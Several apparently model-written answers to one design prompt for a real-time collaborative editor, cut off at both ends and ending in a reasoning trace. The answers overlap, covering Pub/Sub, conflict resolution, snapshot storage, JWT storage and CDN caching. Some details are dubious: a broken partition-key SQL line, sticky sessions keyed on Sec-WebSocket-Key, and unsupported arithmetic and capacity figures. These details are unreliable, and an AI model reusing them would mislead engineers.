2. Data Flow & Broadcast Inconsistency

Issue: Broadcasting Only to Clients on the Same Server This architecture creates "islands" of users. A change made by a user on Server A will be instantly visible to others on Server A, but users on Servers B, C, and D won't see it until their server polls Postgres (up to 2 seconds later). This is an unacceptable delay for real-time collaboration and breaks the "real-time" illusion.

Scaling Bottleneck: The system cannot scale horizontally without introducing this massive latency and inconsistency.

Solution: Introduce a Pub/Sub Messaging Layer Introduce a dedicated, fast Pub/Sub system like Redis Pub/Sub or Apache Kafka.

• New Data Flow:
  1. User types → change event sent via WebSocket to their connected server.
  2. Server writes change to PostgreSQL and increments the central sequence number.
  3. Server publishes the change to a dedicated channel on the Pub/Sub system (e.g., document:123).
  4. Every API server (A, B, C, D...) is subscribed to the channel document:123.
  5. Upon receiving a message from Pub/Sub, each server immediately broadcasts the change to all its connected WebSocket clients watching that document.

Trade-offs:

• Pros: Eliminates the 2-second delay. Provides true real-time sync across all servers. Enables proper horizontal scaling.
• Cons: Introduces a new critical infrastructure component (Redis/Kafka) that must be managed and scaled for high availability. Adds a small amount of network overhead.

---

3. State Synchronization & Polling

Issue: Other Servers Polling PostgreSQL Polling the database every 2 seconds is a terrible scaling anti-pattern.

• Scaling Bottleneck: As the number of documents and servers grows, the load on the database from these pointless polls becomes immense, even if no changes are occurring. It's wasteful and does not scale.

Solution: The Pub/Sub solution above completely eliminates the need for this poll. The Pub/Sub system becomes the real-time event bus, and the database is used for persistence and as the source of truth for the current full state.

---

4. Storage & Performance

Issue: Saving Full HTML Snapshots Every 30 Seconds This is extremely inefficient.

• Scaling Bottleneck: A single character change forces the entire document (which could be megabytes large) to be rewritten to disk every 30 seconds. This creates huge I/O load on the database and needlessly consumes storage space and bandwidth.

Solution: Store a History of Operations (Event Sourcing) Instead of storing snapshots, store every atomic operation (e.g., {type: 'insert', index: 42, text: 'a'}).

• To get the current document, you replay all operations from the beginning.
• To get a recent document, you can take a periodic snapshot (e.g., every 1000 operations) and then only replay the operations since that snapshot.

Trade-offs:

• Pros: Dramatically reduces storage I/O and storage space. Enables powerful features like full history playback ("Time Travel") and undo.
• Cons: Increased application complexity. Rebuilding a document requires CPU cycles. Requires a process for creating and managing snapshots.

---

5. Authentication & Security

Issue: JWT Tokens Stored in localStorage localStorage is vulnerable to XSS (Cross-Site Scripting) attacks. If a malicious script is injected into your React app (e.g., via a third-party library), it can steal the JWT token, giving an attacker full access to the user's account for 24 hours.

Solution: Store JWTs in httpOnly Cookies

• httpOnly cookies cannot be accessed by JavaScript, making them immune to XSS theft.
• They must be paired with the SameSite=Lax (or Strict) attribute to help mitigate CSRF attacks. Since this is an API that should only be called by your own frontend, you should also implement CSRF tokens if you are using cookies.

Trade-offs:

• Pros: Vastly improved security against XSS.
• Cons: Slightly more complex to implement. Requires CSRF protection. The frontend can no longer easily read the token expiration, though this can be solved by duplicating that data in a safe payload.

Issue: Caching API Responses for 5 Minutes Caching any authenticated API responses at a CDN level is extremely dangerous. A user's GET /documents/123 response must never be cached and served to another user.

Solution: Do Not Cache Authenticated API Responses in CloudFront

• Use CloudFront only for static assets (JS, CSS, images).
• For API responses, ensure the Cache-Control: private, no-cache, no-store headers are set. Alternatively, do not route API traffic through CloudFront at all; use the load balancer directly.

Trade-offs:

• Pros: Complete data security and privacy.
• Cons: You lose the performance benefit of caching API calls, which is correct because they shouldn't be cached at this level anyway.

---

6. WebSocket Connection Stability

Issue: Server-Centric WebSocket Connections If a user's API server crashes or is taken down for deployment, all its WebSocket connections are abruptly terminated. The client's React SPA will have to reconnect, but with round-robin LB, it will likely connect to a different server. The new server has no inherent knowledge of the user's previous connection state.

Solution: Use Redis to Store WebSocket Session State

• Store session data (e.g., which documents a user is watching) in the shared Redis cache, not in the local server memory.
• This allows any server to seamlessly take over a connection after a reconnection.

Implement a Sticky Session Load Balancer Policy:

• Configure the load balancer to use "sticky sessions" (session affinity) based on the JWT or a cookie. This ensures a user consistently connects to the same server while it is healthy, which improves connection stability and can simplify broadcast logic.
• Trade-off: This reduces the statistical fairness of round-robin and can lead to imbalance if some users are much more active than others. It's a trade-off between simplicity and perfect distribution.

Summary of Proposed Architecture Changes

Component	Original Flaw	Proposed Solution	Key Benefit
Conflict Resolution	LWW + Client Clocks	OT, CRDT, or Server Sequence Numbers	Prevents data loss
Real-Time Sync	Server Islands + DB Polling	Redis/Kafka Pub/Sub	True real-time sync, enables scaling
Storage	Full HTML Snapshots	Event Sourcing + Occasional Snapshots	Reduces I/O, enables history
Auth	JWT in localStorage	JWT in httpOnly + SameSite Cookie	Mitigates XSS attacks
CDN	Cached API responses	No API caching on CDN	Prevents data leakage
WebSockets	Server-local state	Sticky Sessions + Redis Session Store	Handles server failures gracefully

Implementing these changes would transform the architecture from a fundamentally broken design into a robust, scalable, and secure system suitable for a real-time collaborative editor.

Identified Issues and Proposed Solutions:

1. Cross-Server Sync Delay (Polling Bottleneck)

   • Issue: 2-second polling introduces latency for cross-server updates, breaking real-time sync.
   • Solution: Replace polling with Redis Pub/Sub. Servers publish changes to a channel on write and subscribe to broadcast updates globally.
   • Trade-off: Adds Redis dependency and pub/sub complexity. Requires message deduplication.

2. Unreliable Conflict Resolution (Client Timestamps)

   • Issue: Client clocks may skew, causing incorrect "last-write-wins."
   • Solution: Use server-generated timestamps (synchronized via NTP) or vector clocks for causal ordering.
   • Trade-off: Server clocks require synchronization; vector clocks increase metadata overhead.

3. Data Loss Risk with Snapshots

   • Issue: 30-second snapshots risk losing intermediate changes during crashes.
   • Solution: Use Operational Transform (OT) or CRDTs to track incremental changes, with periodic snapshots.
   • Trade-off: Increased complexity in handling merge operations and history tracking.

4. JWT Security in localStorage

   • Issue: localStorage is vulnerable to XSS attacks;
   • Solution: Store JWTs in httpOnly cookies with CSRF tokens or use short-lived tokens + refresh tokens.
   • Trade-off: Cookies require CSRF mitigation; refresh tokens need secure server-side storage.

5. Stale CDN Caching

   • Issue: 5-minute API caching serves outdated document versions.
   • Solution: Invalidate CDN cache on document update via webhooks or versioned URLs (e.g., /api/doc?id=1&v=123).
   • Trade-off: Higher CDN costs and complexity in cache invalidation logic.

6. Stateless Load Balancing with WebSockets

   • Issue: Round-robin disrupts WebSocket statefulness, fragmenting user sessions.
   • Solution: Implement sticky sessions using the Sec-WebSocket-Key header or IP hashing.
   • Trade-off: Reduced load-balancing efficiency; potential uneven traffic distribution.

7. Read Replica Lag

   • Issue: Replicas may serve stale data during heavy write loads.
   • Solution: Use a write-through Redis cache for frequently accessed documents, or route critical reads to the primary DB.
   • Trade-off: Cache invalidation complexity; primary DB read load increases.

8. Hotspots in Document Partitioning

   • Issue: Sharding by organization ID may create hotspots for large orgs.
   • Solution: Composite shard keys (e.g., org_id + doc_id_hash) or dynamic resharding.
   • Trade-off: Shard management complexity; potential data downtime during resharding.

9. Race Conditions in Snapshot Saves

   • Issue: Concurrent snapshot writes may overwrite changes.
   • Solution: Use optimistic concurrency control (e.g., UPDATE ... WHERE version = X).
   • Trade-off: Increased DB contention and retry logic in application code.

10. High Database Load from Polling

    • Issue: Frequent polling by multiple servers strains PostgreSQL.
    • Solution: Replace polling with a PostgreSQL LISTEN/NOTIFY for real-time change events.
    • Trade-off: Limited scalability in high write volumes; requires connection pooling.

Summary of Trade-offs:

• Complexity vs. Performance: Introducing Redis Pub/Sub or CRDTs improves real-time sync but adds operational overhead.
• Security vs. Usability: httpOnly cookies enhance security but complicate token management.
• Consistency vs. Scalability: Sticky sessions ensure WebSocket consistency but reduce load-balancing flexibility.

Final Recommendations:

• Prioritize Redis Pub/Sub for real-time sync and server timestamps for conflict resolution.
• Migrate to incremental changes (CRDTs) and short-lived JWTs with refresh tokens.
• Implement sticky sessions and CDN cache invalidation to address fragmentation and staleness.

Here’s a comprehensive analysis of potential failure modes, race conditions, and scaling bottlenecks in your architecture, along with proposed solutions and trade-offs:

---

1. WebSocket Connection Fragmentation

Problem: Clients connected to different API servers won’t receive real-time updates from each other due to isolated WebSocket connections per server. Polling PostgreSQL every 2 seconds introduces latency (up to 2s sync delay).
Solution:

• Use a Pub/Sub system (e.g., Redis Pub/Sub or Kafka) to broadcast changes across all servers.
  • Trade-off: Adds complexity but ensures near-instant cross-server sync (~ms latency).
• Sticky sessions (via load balancer) to group users editing the same document on the same server.
  • Trade-off: Reduces fragmentation but hurts load balancing fairness.

---

2. Last-Write-Wins (LWW) with Client Clocks

Problem: Client clocks are unreliable (can drift or be maliciously set), leading to data loss if a stale edit has a later timestamp.
Solution:

• Server-assigned timestamps (monotonic logic clocks or hybrid logical clocks).
  • Trade-off: Adds server dependency for ordering but prevents conflicts.
• Operational Transformation (OT) or CRDTs for conflict-free merging.
  • Trade-off: Complex implementation but preserves all edits.

---

3. PostgreSQL Polling Bottleneck

Problem: Polling every 2s scales poorly (N servers × M documents → high DB load).
Solution:

• PostgreSQL LISTEN/NOTIFY for change events.
  • Trade-off: Lower latency but requires DB connections to stay open.
• Debounce polling (e.g., only poll documents with active edits).
  • Trade-off: Reduces load but may miss rapid sequential edits.

---

4. Full HTML Snapshots Every 30s

Problem: Storage bloat (especially for large documents) and expensive snapshotting under high load.
Solution:

• Delta-based storage (store only changes + periodic snapshots).
  • Trade-off: More complex recovery but saves space.
• Compress snapshots (e.g., gzipped HTML).
  • Trade-off: CPU overhead for compression.

---

5. JWT in localStorage XSS Risk

Problem: Storing JWTs in localStorage makes them vulnerable to XSS attacks.
Solution:

• Use httpOnly cookies for JWTs.
  • Trade-off: Harder to implement with WebSockets (requires CSRF protection).
• Short-lived JWTs (5–10 min) + refresh tokens.
  • Trade-off: More auth requests but reduces exposure.

---

6. API Response Caching (5 min)

Problem: Stale document data if cached API responses don’t reflect real-time edits.
Solution:

• Cache busting per document (invalidate cache on edit).
  • Trade-off: Higher CDN load but ensures freshness.
• Edge-side includes (ESI) for dynamic parts.
  • Trade-off: Complex CDN configuration.

---

7. Scaling PostgreSQL Writes

Problem: High write load during peak editing (all changes hit the primary DB).
Solution:

• Shard documents by organization ID (as planned) + use connection pooling.
  • Trade-off: Sharding complicates queries.
• Write-ahead logging (WAL) + async replicas for eventual consistency.
  • Trade-off: Risk of stale reads.

---

8. WebSocket Server Overload

Problem: A single server handling too many WebSocket connections (memory/CPU limits).
Solution:

• Dedicated WebSocket servers (separate from API servers).
  • Trade-off: Higher infrastructure cost.
• Limit connections per server (e.g., 10k/server).
  • Trade-off: More servers needed.

---

9. No Graceful Degradation

Problem: If WebSockets fail, the UI may freeze (no fallback).
Solution:

• Long-polling fallback when WebSockets disconnect.
  • Trade-off: Higher latency but resilient.

---

10. Document Partitioning by Org ID

Problem: Hot partitions if some orgs are much more active.
Solution:

• Dynamic partitioning (e.g., split large orgs into sub-partitions).
  • Trade-off: Requires runtime rebalancing.

---

11. Redis Cache Failover

Problem: Session cache loss if Redis fails.
Solution:

• Redis Cluster (with replicas) + local cache fallback.
  • Trade-off: Higher Redis costs.

---

Summary of Key Fixes:

1. Replace polling with Redis Pub/Sub or LISTEN/NOTIFY.
2. Use server timestamps or CRDTs instead of client clocks.
3. Delta storage + compression for snapshots.
4. Shard PostgreSQL + optimize writes.
5. Secure JWTs with httpOnly cookies or short expiry.

Each solution balances performance, complexity, and reliability. The highest-priority fixes are WebSocket fragmentation (Pub/Sub) and LWW conflicts (server timestamps).

Here’s a comprehensive analysis of failure modes, race conditions, and scaling bottlenecks in the proposed architecture, along with specific solutions and trade-offs.

---

1. Real-Time Sync & WebSocket Issues

Failure Mode: WebSocket Connections Not Shared Across Servers

• Problem: Each Node.js server maintains its own WebSocket connections. If User A is on Server 1 and User B is on Server 2, changes from A won’t reach B in real-time unless Server 2 polls PostgreSQL.
• Race Condition: Polling every 2 seconds means up to 2 seconds of sync delay between users on different servers.
• Scaling Bottleneck: As servers increase, cross-server latency grows, hurting real-time collaboration feel.

Solution: Use a Pub/Sub system (Redis Pub/Sub or dedicated message broker like Kafka) for cross-server real-time notifications.

• Trade-offs:
  • Adds complexity and another infrastructure component.
  • Redis Pub/Sub doesn’t guarantee persistence; if a server is down during broadcast, messages are lost.
  • Alternative: Use a managed service (e.g., Amazon MQ, Socket.IO with Redis adapter) for simpler scaling.

---

2. Conflict Resolution & Last-Write-Wins (LWW)

Failure Mode: Client Clock Skew

• Problem: Relying on client timestamps for LWW is dangerous—clients can have incorrect times (intentionally or not), causing valid edits to be overwritten.
• Race Condition: Two users edit the same paragraph simultaneously; the one with a clock set ahead always wins, regardless of actual edit order.

Solution: Use server-generated monotonic timestamps (logical clocks or hybrid logical clocks) or adopt Operational Transformation (OT) / Conflict-Free Replicated Data Types (CRDTs).

• Trade-offs:
  • OT/CRDTs increase implementation complexity and may require a central coordination service.
  • Server timestamps require all events to pass through the server first, adding latency before local UI update.
  • Compromise: Use vector clocks if each user has a unique client ID, but still need server mediation.

---

3. Database & Storage Issues

Failure Mode: PostgreSQL Write Contention

• Problem: Every keystroke (or change event) writes to PostgreSQL. Under heavy load, this can cause table locks, slow writes, and become a single point of failure.
• Scaling Bottleneck: Partitioning by organization ID helps, but hot partitions (large active orgs) can still overwhelm a single DB node.

Solution:

1. Buffer writes in Redis and periodically flush to PostgreSQL.
2. Use change log streaming (PostgreSQL logical decoding or Debezium) to stream changes to read replicas and other services.

• Trade-offs:
  • Buffering adds risk of data loss if Redis crashes.
  • Change log streaming increases infrastructure complexity.

Failure Mode: Full HTML Snapshots Every 30 Seconds

• Problem: Large documents cause heavy I/O. If two snapshots are triggered near-simultaneously, they may conflict.
• Race Condition: Snapshot might save an inconsistent state if concurrent edits are mid-flight.

Solution: Store delta-based changes with periodic snapshots (e.g., every 100 changes or 5 minutes). Use event sourcing: store all operations, reconstruct document from log.

• Trade-offs:
  • Increases read complexity (must replay deltas to get current state).
  • Reduces storage I/O but increases storage volume for change logs.

---

4. API & Caching Issues

Failure Mode: CDN Caching API Responses for 5 Minutes

• Problem: Dynamic document data cached for 5 minutes will serve stale content. Users may see outdated documents.
• Scaling Bottleneck: If CDN is used for API responses, cache invalidation on document update is difficult.

Solution: Only cache static assets in CDN. For API, use Redis cache with fine-grained invalidation (per document ID). Alternatively, use short-lived CDN TTL (e.g., 5 seconds) and soft purge on update.

• Trade-offs:
  • More cache misses increase load on backend.
  • CDN soft purge may have propagation delays.

Failure Mode: JWT in localStorage

• Problem: Vulnerable to XSS attacks. Token auto-refresh mechanism not described; users may be logged out unexpectedly after 24 hours.
• Race Condition: Multiple tabs might attempt token refresh simultaneously, causing duplicate requests.

Solution: Store JWT in httpOnly cookies (secure, sameSite strict) and implement sliding session renewal via refresh tokens (stored server-side in Redis). Use CSRF tokens for state-changing operations.

• Trade-offs:
  • Slightly more complex auth flow.
  • Cookies have size limits and are sent with every request, increasing bandwidth.

---

5. Load Balancing & Session Persistence

Failure Mode: Round-Robin Load Balancing with WebSockets

• Problem: WebSocket connections are long-lived. Round-robin may distribute connections unevenly over time, causing some servers to be overloaded.
• Scaling Bottleneck: Without sticky sessions, reconnection after server failure may route a user to a different server, losing in-memory state (if any).

Solution: Use load balancer with sticky sessions (e.g., hash based on user ID or session ID) for WebSocket connections. For health checks, ensure WebSocket endpoints are monitored.

• Trade-offs:
  • Sticky sessions reduce flexibility in load distribution.
  • Server failures still require reconnection, but user can reconnect to any server if state is externalized (Redis).

---

6. Polling Mechanism Bottleneck

Failure Mode: Every Server Polling PostgreSQL Every 2 Seconds

• Problem: As server count grows, database load from polling increases linearly (O(n)). This can overwhelm the database with redundant queries.
• Race Condition: Polls may miss changes that occur between intervals, requiring longer poll windows or more frequent polling (which exacerbates load).

Solution: Replace polling with database triggers + notification system (e.g., PostgreSQL LISTEN/NOTIFY) or use change data capture to push changes to a message queue that servers subscribe to.

• Trade-offs:
  • LISTEN/NOTIFY has limited message payload size and no persistence.
  • CDC adds operational overhead but is scalable and reliable.

---

7. Data Consistency Across Read Replicas

Failure Mode: Replication Lag

• Problem: Read replicas may be behind the primary. If a user reads from a replica immediately after a write, they might see stale data.
• Race Condition: User edits, UI updates optimistically, but a subsequent fetch (from replica) shows old content, causing UI flicker or overwrite.

Solution: Implement read-after-write consistency by:

1. Directing reads for recently modified documents to the primary.
2. Using monotonic reads (same user always hits same replica).
3. Tracking replication lag and routing queries accordingly.

• Trade-offs:
  • Increased primary load.
  • More complex routing logic.

---

8. Horizontal Scaling of WebSocket Servers

Failure Mode: Server Failure Loses In-Memory State

• Problem: If a server dies, all its WebSocket connections are dropped, and any unsaved changes in memory are lost.
• Scaling Bottleneck: Reconnecting all clients simultaneously to other servers may cause thundering herd on those servers.

Solution:

1. Externalize WebSocket session state in Redis (e.g., connection metadata, pending messages).
2. Implement graceful degradation on server shutdown: notify clients to reconnect elsewhere.
3. Use exponential backoff in client reconnection logic.

• Trade-offs:
  • Redis becomes a critical dependency; adds latency to message routing.
  • More network hops for session data.

---

9. No Offline Support / Queued Edits

Failure Mode: Network Disconnection Loses Edits

• Problem: If a user goes offline, changes are only in their browser; reconnection might lose unsent changes if not queued.
• Race Condition: Offline edits with old timestamps may overwrite newer changes when reconnected.

Solution: Implement client-side queue with versioning and server-assigned document version numbers. On reconnect, replay queued operations if the base version still matches; otherwise, require merge/resolve.

• Trade-offs:
  • Complex client-side logic.
  • Merge conflicts may require user intervention.

---

10. Monitoring & Observability Gaps

Failure Mode: No Visibility into Real-Time Layer

• Problem: No mention of logging, metrics, or alerts for WebSocket message rates, connection churn, or sync delays.
• Scaling Bottleneck: Hard to detect when to add more servers or where bottlenecks are.

Solution: Integrate APM tools (e.g., Datadog, New Relic) for Node.js servers, track WebSocket connections per server, message latency, and end-to-end sync delay. Use structured logging for operations.

• Trade-offs:
  • Added overhead from metric collection.
  • Operational cost of monitoring stack.

---

Summary of High-Priority Fixes

1. Replace client timestamps with server-side sequencing (logical clocks or CRDTs).
2. Introduce Pub/Sub (Redis) for cross-server real-time sync instead of polling.
3. Change snapshot strategy to delta-based + periodic snapshots.
4. Secure auth by moving JWT to httpOnly cookies + refresh tokens.
5. Add sticky sessions for WebSocket load balancing.
6. Implement offline queue with versioning for better resilience.

Each solution involves a trade-off between complexity, performance, and user experience, but addressing these issues will significantly improve system reliability and scalability.

Critical Issues in Proposed Architecture

1. WebSocket Broadcast Isolation

Issue: Each server only broadcasts to its own WebSocket clients → users connected to different servers won't see real-time updates from each other.

• Severity: Critical - breaks real-time collaboration
• Race Condition: User A (server 1) and User B (server 2) editing same document won't see each other's changes in real-time

Solution: Use Redis Pub/Sub for cross-server WebSocket broadcasting

// When server receives change:
redis.publish(`doc:${docId}`, changeEvent);
// All servers subscribe to channel:
redis.subscribe(`doc:${docId}`, (change) => broadcastToLocalClients(change));

Trade-off: Adds network hop latency (~1-2ms), requires Redis cluster for high availability

2. Client Clock Synchronization

Issue: Last-write-wins using client timestamps is fundamentally broken

• Severity: Critical - data loss guaranteed
• Race Condition: User with wrong system clock (even seconds off) can overwrite newer changes

Solution: Use server-generated monotonic sequence numbers

-- PostgreSQL sequence per document:
CREATE SEQUENCE doc_123_version_seq;
-- Each change: nextval('doc_123_version_seq')

Trade-off: Requires database round-trip before broadcasting (~5-10ms added latency)

3. Database Polling Bottleneck

Issue: 2-second polling interval across all servers will overwhelm database at scale

• Severity: High - doesn't scale beyond ~50 servers
• Bottleneck: Each server polling all documents → O(n²) query load

Solution: Replace polling with PostgreSQL LISTEN/NOTIFY

-- Server listens for document changes:
LISTEN doc_changes_123;
-- On change:
NOTIFY doc_changes_123, '{"version": 456}';

Trade-off: PostgreSQL connection limit (~500-1000 connections), requires connection pooling strategy

4. Full HTML Snapshot Storage

Issue: Saving entire document every 30 seconds wastes storage/bandwidth

• Severity: Medium - scales poorly with large documents
• Example: 10MB document × 100 edits/min = 20GB/hour of redundant data

Solution: Operational Transform (OT) or Conflict-free Replicated Data Types (CRDTs)

• Store only diffs/operations
• Reconstruct snapshots periodically (e.g., every 100 ops)

// Store operations instead of full HTML:
{
  "op": "insert",
  "pos": 42,
  "text": "new text",
  "version": 123
}

Trade-off: Complex implementation, requires operation history cleanup strategy

5. JWT in localStorage Security Risk

Issue: localStorage vulnerable to XSS attacks

• Severity: High - token theft leads to account compromise
• Risk: Any XSS vulnerability exposes all user tokens

Solution: HttpOnly cookies + CSRF tokens

• Set httpOnly; secure; sameSite=strict flags
• Include CSRF token in API requests

// Frontend includes CSRF token in headers
axios.defaults.headers.common['X-CSRF-Token'] = getCSRFToken();

Trade-off: More complex auth flow, requires sticky sessions or JWT in cookies

6. API Response Caching

Issue: Caching API responses for 5 minutes breaks real-time collaboration

• Severity: High - users see stale document versions
• Example: CDN serves 5-minute-old document while real-time changes occur

Solution:

1. No caching for document endpoints: Cache-Control: no-store
2. Use ETags for conditional requests: If-None-Match: "version123"
3. Cache only static metadata: User profiles, organization info Trade-off: Higher origin load, but necessary for consistency

7. WebSocket Connection State

Issue: Server crash loses all WebSocket connections

• Severity: Medium - poor user experience during deployments/outages
• Failure Mode: Load balancer round-robin → users randomly disconnected

Solution:

1. Sticky sessions: Configure load balancer for WebSocket affinity
2. Connection draining: Graceful shutdown signaling
3. Client reconnection logic with exponential backoff

// Client-side reconnection:
function reconnect() {
  const delay = Math.min(1000 * 2 ** attempts, 30000);
  setTimeout(connectWebSocket, delay);
}

Trade-off: Sticky sessions reduce load distribution effectiveness

8. Database Partitioning Strategy

Issue: Partitioning only by organization ID leads to hotspots

• Severity: Medium - large organizations overwhelm single partitions
• Example: Google (organization) vs small startup have same partitioning

Solution: Composite partitioning key

-- Partition by (organization_id, document_id_hash)
PARTITION BY HASH((organization_id::text || document_id::text)::uuid)

Trade-off: More complex queries for cross-organization operations (admin views)

9. Conflict Resolution Blind Spots

Issue: Last-write-wins loses intermediate changes

• Severity: High - collaborative editing needs merge semantics
• Example: User A types "Hello", User B types "World" at same position → one loses

Solution: Implement Operational Transform (OT) with central server sequencing

// Server as single sequencer:
class OTServer {
  applyOperation(doc, operation) {
    const transformed = OT.transform(operation, this.pendingOps);
    this.history.push(transformed);
    return transformed;
  }
}

Trade-off: Significant implementation complexity, requires undo/redo handling

10. Scaling Bottlenecks

Issue: Single points of failure in each component

• Severity: High - no redundancy described

Solution: Multi-AZ deployment with failover

Component      Redundancy Strategy
-------------  --------------------
PostgreSQL     Multi-AZ RDS with read replicas
Redis          Redis Cluster (6 nodes, 3 master/3 slave)
WebSocket      Redis Pub/Sub + auto-scaling group
Load Balancer  Multi-AZ ALB/NLB

Trade-off: 2-3x higher infrastructure cost

11. Missing Monitoring & Alerting

Issue: No visibility into system health

• Severity: Medium - failures go undetected

Solution: Implement observability stack

• Metrics: WebSocket connections per server, operation latency, conflict rate
• Logging: Structured JSON logs with request IDs
• Alerting: PagerDuty/OpsGenie for SLO violations

# SLO example:
availability: 99.95% over 30 days
latency: p95 < 200ms for document operations

Trade-off: Operational overhead, but essential for production

Recommended Architecture Changes

1. Immediate Fixes (Week 1):

   • Replace client timestamps with server sequence numbers
   • Implement Redis Pub/Sub for cross-server broadcasting
   • Remove API response caching for document endpoints

2. Short-term (Month 1):

   • Implement OT/CRDTs instead of last-write-wins
   • Move JWT to HttpOnly cookies
   • Add PostgreSQL LISTEN/NOTIFY to replace polling

3. Long-term (Quarter 1):

   • Implement comprehensive observability
   • Multi-region deployment for geographic redundancy
   • Advanced conflict resolution with rich text awareness

This architecture can support ~10,000 concurrent editors with these changes, scaling to ~100,000 with additional Redis clustering and database optimization.

We need to analyze the given architecture for a real-time collaborative document editor, similar to Google Docs. The description includes components, data flow, sync strategy, and scaling plan. We are asked to identify potential failure modes, race conditions, and scaling bottlenecks. For each issue, propose a specific solution with trade-offs.

We need to be thorough: consider each component and interaction. The architecture seems to have several potential issues: WebSocket connections per server, broadcast only to clients connected to that server, other servers polling PostgreSQL every 2 seconds, conflict resolution using client timestamps, JWT in localStorage, snapshot storage, etc.

Let's break it down:

Components:

• Frontend: React SPA, WebSocket connections to backend servers.
• Backend: Node.js API servers behind load balancer (round-robin). Each server maintains its own WebSocket connections.
• Database: PostgreSQL for document storage, Redis for session cache.
• Real-time sync: Each server broadcasts changes to its own clients only.
• Sync strategy: Last-write-wins with timestamps from client clocks.
• Storage: Full HTML snapshots every 30 seconds.
• Auth: JWT tokens with 24-hour expiry, stored in localStorage.
• CDN: CloudFront for static assets, also caches API responses for 5 minutes.

Data Flow:

1. User types → change event sent via WebSocket to connected server.
2. Server writes change to PostgreSQL.
3. Server broadcasts change to all WebSocket clients connected to THAT server.
4. Other servers poll PostgreSQL every 2 seconds for changes.
5. Conflict resolution: if two users edit same paragraph, last timestamp wins.

Scaling Plan:

• Horizontal scaling by adding more API servers.
• Database read replicas for read-heavy operations.
• Document partitioning by organization ID.

Now, we need to identify issues:

Potential Failure Modes: These are scenarios where the system may fail to operate correctly, such as data loss, inconsistency, unavailability, security issues, etc.

Race Conditions: Situations where the outcome depends on the sequence or timing of events, leading to unexpected behavior.

Scaling Bottlenecks: Points where the system cannot scale efficiently as load increases.

We'll go through each aspect.

1. WebSocket Connections and Load Balancer

• The load balancer uses round-robin for distributing requests. For WebSocket connections, typical load balancers need to support sticky sessions or WebSocket routing because WebSocket is a persistent connection. If the load balancer is round-robin without stickiness, a client's HTTP requests (e.g., API calls) may go to a different server than its WebSocket connection, causing issues if session state is stored per server. But the architecture says each API server maintains its own WebSocket connections to clients. That implies that after initial handshake, the WebSocket connection is established directly to a specific server. The load balancer likely routes the initial WebSocket upgrade request to a server, and then that connection remains. That's fine if the load balancer supports WebSocket and does not re-route subsequent packets. But round-robin for WebSocket initial connection assignment is okay; once connected, it's sticky by nature (TCP). However, there might be issues with reconnection: if a client disconnects and reconnects, it might connect to a different server. That's okay if there is no server-specific state. But we have session cache in Redis, so maybe it's fine. However, the real-time broadcast is limited to the server's own clients, so if a client reconnects to a different server, it will miss broadcasts from the previous server? Actually, the system relies on polling from other servers to get changes. So if a client switches servers, it will eventually receive updates via polling? Let's examine.

Data flow: When a user types, change is sent via WebSocket to the server they are connected to (say Server A). Server A writes to PostgreSQL and broadcasts to all clients connected to Server A. Other servers (B, C) poll PostgreSQL every 2 seconds for changes, and then presumably they broadcast to their own clients. So eventually all clients receive updates, regardless of which server they are connected to, because other servers will pick up changes from DB and broadcast to their clients. So server affinity is not required for correctness. However, there is a delay: up to 2 seconds for cross-server propagation. That might be acceptable for some collaborative editing but not ideal. Also, if a client disconnects and reconnects, it may get a different server, but that's okay.

Potential failure modes:

• Single point of failure: Load balancer? Usually load balancers can be made highly available. But if it fails, no new connections can be established. But existing WebSocket connections might still be alive if they bypass the LB? Usually LB is in front, so if LB fails, all connections go down. So need HA.

• WebSocket server failure: If a server crashes, all its WebSocket connections are lost. Clients need to reconnect. Their unsent changes? Possibly they were in flight. The server might have written some changes to DB before crashing, but changes not yet written could be lost. Also, the server's broadcast might not have reached all its clients. However, because other servers poll DB, they might eventually get the changes that were persisted. But if the server crashed before writing to DB, the change is lost. Need to ensure durability.

• Load balancer not WebSocket-aware: Some LBs may not handle WebSocket upgrade properly. But we assume it does.

Race Conditions:

• Because polling is every 2 seconds, there is a window where two servers may have conflicting changes. Consider two users on different servers editing the same paragraph. Both send changes to their respective servers. Each server writes to DB and broadcasts to its own clients. The writes to DB will have timestamps from client clocks. If they both write nearly simultaneously, the DB will have two updates. Conflict resolution is last-write-wins based on timestamps. But because servers poll every 2 seconds, the other server's clients won't see the change immediately; they may see the change after polling, and then they might overwrite with older timestamp? Actually, the conflict resolution is applied when? It says "if two users edit the same paragraph, last timestamp wins." But where is this resolved? Possibly at the client? Or at the server when applying changes? The description: "Sync Strategy: Last-write-wins with timestamps from client clocks." And step 5: "Conflict resolution: if two users edit the same paragraph, last timestamp wins." So presumably when a server receives a change, it writes to PostgreSQL. But what if there are concurrent writes to the same paragraph from two servers? The DB might simply store the latest based on timestamp? Or the application logic might compare timestamps before writing. But the data flow says: Server writes change to PostgreSQL. It doesn't mention any read-modify-write or conditional update. So if two servers write to the same row/document concurrently, one may overwrite the other. Since they are writing changes (maybe they store each change as a log entry?), but they say "writes change to PostgreSQL". We need to interpret what "change" means. Possibly they store each operation (like an operation transform) in a table, and then broadcast. But the description is ambiguous. They also mention "Storage: Documents saved as full HTML snapshots every 30 seconds." So the main document state is stored as snapshots, and changes might be logged? However, the real-time sync likely uses operational transforms or differential updates. But they said "Last-write-wins with timestamps from client clocks", which suggests a simpler approach: each change includes the full paragraph content and a timestamp, and the server overwrites the paragraph if the incoming timestamp is newer. But then polling other servers might fetch changes and apply to local state. However, if two servers write conflicting changes to the DB, the later write (based on DB transaction ordering) may win, but that may not correspond to the last timestamp if timestamps are from clients and clocks may be skewed. Also, if they write to the same row without reading first, they might overwrite a newer change with an older one if the older arrives later due to network delays. So there is a race condition.

Let's think deeper.

2. Real-time Sync and Conflict Resolution

The architecture uses last-write-wins with client timestamps. This is problematic because client clocks cannot be trusted; they may be out of sync, or malicious users could set their clock forward to always win. Also, network delays can cause ordering issues. This is a classic issue: using client timestamps for conflict resolution leads to inconsistencies and potential data loss. Need a better approach like Operational Transform (OT) or Conflict-free Replicated Data Types (CRDTs), or using a central server with logical timestamps (e.g., vector clocks, sequence numbers). The trade-off is increased complexity.

Also, the polling interval of 2 seconds introduces a delay in cross-server propagation. For real-time collaboration, 2 seconds might be noticeable. But it could be acceptable for some use cases, but ideally we'd want lower latency. The delay also increases the chance of conflicts because users on different servers may not see each other's changes for up to 2 seconds.

